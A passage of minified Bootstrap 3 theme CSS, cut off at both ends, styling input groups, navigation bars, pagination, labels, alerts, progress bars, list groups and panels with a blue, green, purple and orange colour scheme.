10px;font-size:13px;line-height:1.5;border-radius:0}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:31px;line-height:31px}textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn,select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn{height:auto}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:10px 18px;font-size:15px;font-weight:normal;line-height:1;color:#333333;text-align:center;background-color:#e6e6e6;border:1px solid #cccccc;border-radius:0}.input-group-addon.input-sm{padding:5px 10px;font-size:13px;border-radius:0}.input-group-addon.input-lg{padding:18px 30px;font-size:19px;border-radius:0}.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-top-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-bottom-left-radius:0;border-top-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:hover,.input-group-btn>.btn:focus,.input-group-btn>.btn:active{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-left:-1px}.nav{margin-bottom:0;padding-left:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#e6e6e6}.nav>li.disabled>a{color:#999999}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#999999;text-decoration:none;background-color:transparent;cursor:not-allowed}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#e6e6e6;border-color:#2780e3}.nav .nav-divider{height:1px;margin:9.5px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #dddddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:0 0 0 0}.nav-tabs>li>a:hover{border-color:#e6e6e6 #e6e6e6 #dddddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555555;background-color:#ffffff;border:1px solid #dddddd;border-bottom-color:transparent;cursor:default}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #dddddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #dddddd;border-radius:0 0 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#ffffff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:0}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#ffffff;background-color:#2780e3}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #dddddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #dddddd;border-radius:0 0 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#ffffff}}.tab-content>.tab-pane{display:none;visibility:hidden}.tab-content>.active{display:block;visibility:visible}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:21px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:0}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{overflow-x:visible;padding-right:15px;padding-left:15px;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1);-webkit-overflow-scrolling:touch}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block !important;visibility:visible !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-left:0;padding-right:0}}.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:200px}}.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;padding:14.5px 15px;font-size:19px;line-height:21px;height:50px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;margin-right:15px;padding:9px 10px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:0}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.25px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:21px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:21px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:14.5px;padding-bottom:14.5px}}.navbar-form{margin-left:-15px;margin-right:-15px;padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);margin-top:3.5px;margin-bottom:3.5px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn,.navbar-form .input-group .form-control{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .radio label,.navbar-form .checkbox label{padding-left:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;border:0;margin-left:0;margin-right:0;padding-top:0;padding-bottom:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-right-radius:0;border-top-left-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:3.5px;margin-bottom:3.5px}.navbar-btn.btn-sm{margin-top:9.5px;margin-bottom:9.5px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:14.5px;margin-bottom:14.5px}@media (min-width:768px){.navbar-text{float:left;margin-left:15px;margin-right:15px}}@media (min-width:768px){.navbar-left{float:left !important}.navbar-right{float:right !important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#222222;border-color:#121212}.navbar-default .navbar-brand{color:#ffffff}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#ffffff;background-color:none}.navbar-default .navbar-text{color:#ffffff}.navbar-default .navbar-nav>li>a{color:#ffffff}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#cccccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:transparent}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#090909}.navbar-default .navbar-toggle .icon-bar{background-color:#ffffff}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#121212}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{background-color:#090909;color:#ffffff}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#ffffff}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#ffffff;background-color:#090909}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#cccccc;background-color:transparent}}.navbar-default .navbar-link{color:#ffffff}.navbar-default .navbar-link:hover{color:#ffffff}.navbar-default .btn-link{color:#ffffff}.navbar-default .btn-link:hover,.navbar-default .btn-link:focus{color:#ffffff}.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:hover,.navbar-default .btn-link[disabled]:focus,fieldset[disabled] .navbar-default .btn-link:focus{color:#cccccc}.navbar-inverse{background-color:#2780e3;border-color:#1967be}.navbar-inverse .navbar-brand{color:#ffffff}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#ffffff;background-color:none}.navbar-inverse .navbar-text{color:#ffffff}.navbar-inverse .navbar-nav>li>a{color:#ffffff}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#ffffff;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:transparent}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#1967be}.navbar-inverse .navbar-toggle .icon-bar{background-color:#ffffff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#1a6ecc}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{background-color:#1967be;color:#ffffff}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#ffffff}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#ffffff;background-color:#1967be}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ffffff;background-color:transparent}}.navbar-inverse .navbar-link{color:#ffffff}.navbar-inverse .navbar-link:hover{color:#ffffff}.navbar-inverse .btn-link{color:#ffffff}.navbar-inverse .btn-link:hover,.navbar-inverse .btn-link:focus{color:#ffffff}.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:hover,.navbar-inverse .btn-link[disabled]:focus,fieldset[disabled] .navbar-inverse .btn-link:focus{color:#ffffff}.breadcrumb{padding:8px 15px;margin-bottom:21px;list-style:none;background-color:#f5f5f5;border-radius:0}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{content:"/\00a0";padding:0 5px;color:#cccccc}.breadcrumb>.active{color:#999999}.pagination{display:inline-block;padding-left:0;margin:21px 0;border-radius:0}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:10px 18px;line-height:1.42857143;text-decoration:none;color:#2780e3;background-color:#ffffff;border:1px solid #dddddd;margin-left:-1px}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:0;border-top-left-radius:0}.pagination>li:last-child>a,.pagination>li:last-child>span{border-bottom-right-radius:0;border-top-right-radius:0}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{color:#165ba8;background-color:#e6e6e6;border-color:#dddddd}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#999999;background-color:#f5f5f5;border-color:#dddddd;cursor:default}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999999;background-color:#ffffff;border-color:#dddddd;cursor:not-allowed}.pagination-lg>li>a,.pagination-lg>li>span{padding:18px 30px;font-size:19px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:0;border-top-left-radius:0}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-bottom-right-radius:0;border-top-right-radius:0}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:13px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:0;border-top-left-radius:0}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-bottom-right-radius:0;border-top-right-radius:0}.pager{padding-left:0;margin:21px 0;list-style:none;text-align:center}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#ffffff;border:1px solid #dddddd;border-radius:0}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#e6e6e6}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#999999;background-color:#ffffff;cursor:not-allowed}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:bold;line-height:1;color:#ffffff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:hover,a.label:focus{color:#ffffff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#222222}.label-default[href]:hover,.label-default[href]:focus{background-color:#090909}.label-primary{background-color:#2780e3}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#1967be}.label-success{background-color:#3fb618}.label-success[href]:hover,.label-success[href]:focus{background-color:#2f8912}.label-info{background-color:#9954bb}.label-info[href]:hover,.label-info[href]:focus{background-color:#7e3f9d}.label-warning{background-color:#ff7518}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#e45c00}.label-danger{background-color:#ff0039}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#cc002e}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:13px;font-weight:bold;color:#ffffff;line-height:1;vertical-align:baseline;white-space:nowrap;text-align:center;background-color:#2780e3;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-xs .badge{top:0;padding:1px 5px}a.badge:hover,a.badge:focus{color:#ffffff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#2780e3;background-color:#ffffff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding:30px 15px;margin-bottom:30px;color:inherit;background-color:#e6e6e6}.jumbotron h1,.jumbotron .h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:23px;font-weight:200}.jumbotron>hr{border-top-color:#cccccc}.container .jumbotron,.container-fluid .jumbotron{border-radius:0}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding:48px 0}.container .jumbotron,.container-fluid .jumbotron{padding-left:60px;padding-right:60px}.jumbotron h1,.jumbotron .h1{font-size:67.5px}}.thumbnail{display:block;padding:4px;margin-bottom:21px;line-height:1.42857143;background-color:#ffffff;border:1px solid #dddddd;border-radius:0;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail>img,.thumbnail a>img{margin-left:auto;margin-right:auto}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#2780e3}.thumbnail .caption{padding:9px;color:#333333}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:0}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:bold}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{background-color:#3fb618;border-color:#4e9f15;color:#ffffff}.alert-success hr{border-top-color:#438912}.alert-success .alert-link{color:#e6e6e6}.alert-info{background-color:#9954bb;border-color:#7643a8;color:#ffffff}.alert-info hr{border-top-color:#693c96}.alert-info .alert-link{color:#e6e6e6}.alert-warning{background-color:#ff7518;border-color:#ff4309;color:#ffffff}.alert-warning hr{border-top-color:#ee3800}.alert-warning .alert-link{color:#e6e6e6}.alert-danger{background-color:#ff0039;border-color:#f0005e;color:#ffffff}.alert-danger hr{border-top-color:#d60054}.alert-danger .alert-link{color:#e6e6e6}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{overflow:hidden;height:21px;margin-bottom:21px;background-color:#cccccc;border-radius:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.progress-bar{float:left;width:0%;height:100%;font-size:13px;line-height:21px;color:#ffffff;text-align:center;background-color:#2780e3;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease}.progress-striped .progress-bar,.progress-bar-striped{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress.active .progress-bar,.progress-bar.active{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#3fb618}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-info{background-color:#9954bb}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-warning{background-color:#ff7518}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.progress-bar-danger{background-color:#ff0039}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{zoom:1;overflow:hidden}.media-body{width:10000px}.media-object{display:block}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-left,.media-right,.media-body{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{margin-bottom:20px;padding-left:0}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#ffffff;border:1px solid #dddddd}.list-group-item:first-child{border-top-right-radius:0;border-top-left-radius:0}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}a.list-group-item{color:#555555}a.list-group-item .list-group-item-heading{color:#333333}a.list-group-item:hover,a.list-group-item:focus{text-decoration:none;color:#555555;background-color:#f5f5f5}.list-group-item.disabled,.list-group-item.disabled:hover,.list-group-item.disabled:focus{background-color:#e6e6e6;color:#999999;cursor:not-allowed}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text{color:#999999}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{z-index:2;color:#ffffff;background-color:#2780e3;border-color:#dddddd}.list-group-item.active .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>.small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:hover .list-group-item-text,.list-group-item.active:focus .list-group-item-text{color:#dceafa}.list-group-item-success{color:#ffffff;background-color:#3fb618}a.list-group-item-success{color:#ffffff}a.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:hover,a.list-group-item-success:focus{color:#ffffff;background-color:#379f15}a.list-group-item-success.active,a.list-group-item-success.active:hover,a.list-group-item-success.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-info{color:#ffffff;background-color:#9954bb}a.list-group-item-info{color:#ffffff}a.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:hover,a.list-group-item-info:focus{color:#ffffff;background-color:#8d46b0}a.list-group-item-info.active,a.list-group-item-info.active:hover,a.list-group-item-info.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-warning{color:#ffffff;background-color:#ff7518}a.list-group-item-warning{color:#ffffff}a.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:hover,a.list-group-item-warning:focus{color:#ffffff;background-color:#fe6600}a.list-group-item-warning.active,a.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-danger{color:#ffffff;background-color:#ff0039}a.list-group-item-danger{color:#ffffff}a.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:hover,a.list-group-item-danger:focus{color:#ffffff;background-color:#e60033}a.list-group-item-danger.active,a.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus{color:#fff;background-color:#ffffff;border-color:#ffffff}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:21px;background-color:#ffffff;border:1px solid transparent;border-radius:0;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.05);box-shadow:0 1px 1px rgba(0,0,0,0.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-right-radius:-1;border-top-left-radius:-1}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:17px;color:inherit}.panel-title>a,.panel-title>small,.panel-title>.small,.panel-title>small>a,.panel-title>.small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid 